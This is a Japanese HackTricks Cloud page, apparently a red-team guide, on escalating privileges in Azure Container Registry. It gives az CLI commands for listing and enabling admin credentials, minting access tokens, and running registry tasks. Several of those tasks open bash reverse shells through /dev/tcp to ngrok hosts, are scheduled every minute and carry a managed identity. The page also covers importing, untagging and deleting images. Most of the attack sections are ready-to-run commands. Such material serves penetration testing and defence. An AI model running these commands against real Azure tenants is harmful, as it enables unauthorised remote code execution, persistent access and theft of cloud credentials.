Az - Azure Container Registry Privesc
Reading time: 8 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Azure Container Registry
詳細については、次を確認してください:
Microsoft.ContainerRegistry/registries/listCredentials/action
この権限により、ユーザーはACRの管理者資格情報を一覧表示できます。これは、レジストリに対して完全なアクセスを取得するのに役立ちます。
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
管理者資格情報が有効でない場合、次のコマンドを使用してそれらを有効にするために、Microsoft.ContainerRegistry/registries/write
の権限も必要です:
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
Microsoft.ContainerRegistry/registries/tokens/write
, Microsoft.ContainerRegistry/registries/generateCredentials/action
これらの権限により、ユーザーはレジストリにアクセスするためのパスワードを持つ新しいトークンを作成できます。
次の例のようにaz cli
を使用して生成するには、Microsoft.ContainerRegistry/registries/read
、Microsoft.ContainerRegistry/registries/scopeMaps/read
、Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read
、Microsoft.ContainerRegistry/registries/tokens/read
の権限も必要です。
az acr token create \
--registry <registry-name> \
--name <token-name> \
--scope-map _repositories_admin
Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action
, Microsoft.ContainerRegistry/registries/scheduleRun/action
, Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action
これらの権限は、ユーザーがレジストリ内でイメージをビルドおよび実行することを許可します。これは、コンテナ内でコードを実行するために使用できます。
[!WARNING] ただし、イメージはサンドボックス環境で実行され、メタデータサービスへのアクセスなしで実行されます。これは、コンテナがインスタンスメタデータにアクセスできないことを意味するため、特権を昇格させるにはあまり役に立ちません。
# Build
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
Microsoft.ContainerRegistry/registries/tasks/write
これは、レジストリ内でタスクを作成および更新することを許可する主要な権限です。これは、管理されたアイデンティティが付与されたコンテナ内でコードを実行するために使用できます。
これは、システム管理アイデンティティが付与されたコンテナ内でリバースシェルを実行する方法の例です:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
タスクから外部リポジトリを使用せずにRCEを取得する別の方法は、az acr task create
コマンドを--cmd
フラグと共に使用することです。これにより、コンテナ内でコマンドを実行できます。例えば、次のコマンドでリバースシェルを実行できます:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task-cmd \
--image rev/shell2:v1 \
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
--schedule "*/1 * * * *" \
--context /dev/null \
--commit-trigger-enabled false \
--assign-identity
tip
システム管理アイデンティティを割り当てるには特別な権限は必要ありませんが、レジストリで事前に有効にされ、役立つためのいくつかの権限が割り当てられている必要があります。
ユーザー管理アイデンティティを割り当てるには、Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
の権限が必要です。
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
既存のタスクのリポジトリを更新するには、次のようにします:
az acr task update \
--registry <registry-name> \
--name reverse-shell-task \
--context https://github.com/your-user/your-repo.git
Microsoft.ContainerRegistry/registries/importImage/action
この権限を使用すると、ローカルに画像がなくてもazureレジストリに画像をインポートすることが可能です。ただし、すでにレジストリに存在するタグを持つ画像をインポートすることはできません。
# Push with az cli
az acr import \
--name <registry-name> \
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
特定のイメージタグをレジストリからタグ解除または削除するには、次のコマンドを使用できます。ただし、実行するには十分な権限を持つユーザーまたはトークンが必要です:
az acr repository untag \
--name <registry-name> \
--image <image-name>:<tag>
az acr repository delete \
--name <registry-name> \
--image <image-name>:<tag>
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。